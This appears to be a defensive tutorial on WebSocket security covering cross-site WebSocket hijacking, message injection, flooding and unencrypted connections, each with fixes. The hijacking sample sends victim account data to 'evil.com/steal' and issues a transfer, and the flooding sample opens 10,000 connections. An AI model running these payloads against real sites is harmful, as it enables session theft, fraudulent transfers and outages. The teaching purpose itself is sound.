Key Takeaways
- WebSockets bypass Same-Origin Policy for connections—only handshake checks origin.
- CSWSH (Cross-Site WebSocket Hijacking) is like CSRF for WebSockets.
- Session tokens in WebSocket messages can be intercepted.
- Always validate Origin header and use wss:// (TLS).
WebSockets power real-time features like chat, gaming, and live updates. Unlike HTTP, connections stay open—and so do security holes. If you're not validating properly, attackers can hijack sessions and inject messages.
How WebSockets Work
WebSockets upgrade HTTP connections to persistent, bidirectional channels:
# Initial HTTP Upgrade Request
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: https://example.com
# Server Response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
After the handshake, both sides can send messages freely—no more HTTP request/response cycles.
Attack #1: Cross-Site WebSocket Hijacking (CSWSH)
The most critical WebSocket vulnerability. If the server doesn't validate the Origin header, any website can connect:
// Malicious page hosted on evil.com
<script>
// Connect to victim's WebSocket server
const ws = new WebSocket('wss://bank.com/account');
// Victim's cookies are automatically sent!
ws.onmessage = (event) => {
// Attacker receives all account data
fetch('https://evil.com/steal', {
method: 'POST',
body: event.data // Balance, transactions, etc.
});
};
// Attacker can also send commands
ws.onopen = () => {
ws.send(JSON.stringify({action: 'transfer', amount: 10000, to: 'attacker'}));
};
</script>
Browsers automatically include cookies with WebSocket connections. If the server trusts cookies alone without checking Origin, attackers get full access to the authenticated session.
Defense: Validate Origin
// Node.js WebSocket Server
const wss = new WebSocket.Server({ server });
wss.on('connection', (ws, req) => {
const origin = req.headers.origin;
// Whitelist allowed origins
const allowedOrigins = ['https://myapp.com', 'https://admin.myapp.com'];
if (!allowedOrigins.includes(origin)) {
ws.close(1008, 'Origin not allowed');
return;
}
// Additional: Validate session token in first message
ws.once('message', (token) => {
if (!validateSessionToken(token)) {
ws.close(1008, 'Invalid session');
}
});
});
Attack #2: Message Injection
WebSocket messages aren't automatically sanitized. If you render them as HTML:
// Vulnerable chat application
ws.onmessage = (event) => {
const msg = JSON.parse(event.data);
// DANGEROUS: Directly inserting user content
chatBox.innerHTML += `<div>${msg.username}: ${msg.text}</div>`;
};
// Attacker sends:
ws.send(JSON.stringify({
username: '<script>stealCookies()</script>',
text: 'Hi!'
}));
Defense: Always Sanitize
// Safe rendering
ws.onmessage = (event) => {
const msg = JSON.parse(event.data);
const div = document.createElement('div');
div.textContent = `${msg.username}: ${msg.text}`; // textContent escapes HTML
chatBox.appendChild(div);
};
Attack #3: Denial of Service
WebSockets don't have built-in rate limiting:
// Flood the server
const connections = [];
for (let i = 0; i < 10000; i++) {
connections.push(new WebSocket('wss://target.com/socket'));
}
// Or send massive messages
ws.send('A'.repeat(100_000_000)); // 100MB message
Defense Strategies
- Connection limits: Max connections per IP
- Message size limits: Reject oversized frames
- Rate limiting: Messages per second per connection
- Timeouts: Close idle connections
Attack #4: Man-in-the-Middle
Using ws:// instead of wss:// exposes all traffic:
| Protocol | Encryption | Security |
|---|---|---|
ws:// | None | ❌ Attackers can intercept/modify messages |
wss:// | TLS | ✅ Encrypted, authenticated |
Security Checklist
Do
- Always use wss:// (TLS)
- Validate Origin header strictly
- Authenticate in first message
- Sanitize all received data
- Implement rate limiting
- Set message size limits
Don't
- Trust cookies alone
- Use ws:// for sensitive data
- Render messages as raw HTML
- Allow unlimited connections
- Skip input validation
Testing WebSocket Security
# Using websocat for testing
websocat -H "Origin: https://evil.com" wss://target.com/socket
# Burp Suite: Intercept WebSocket messages
# Enable "Intercept WebSocket messages" in Proxy settings
# OWASP ZAP: WebSocket fuzzing
# Use WebSocket tab to send malformed data
Frequently Asked Questions
Master all web attack vectors.
Read XSS Attack Guide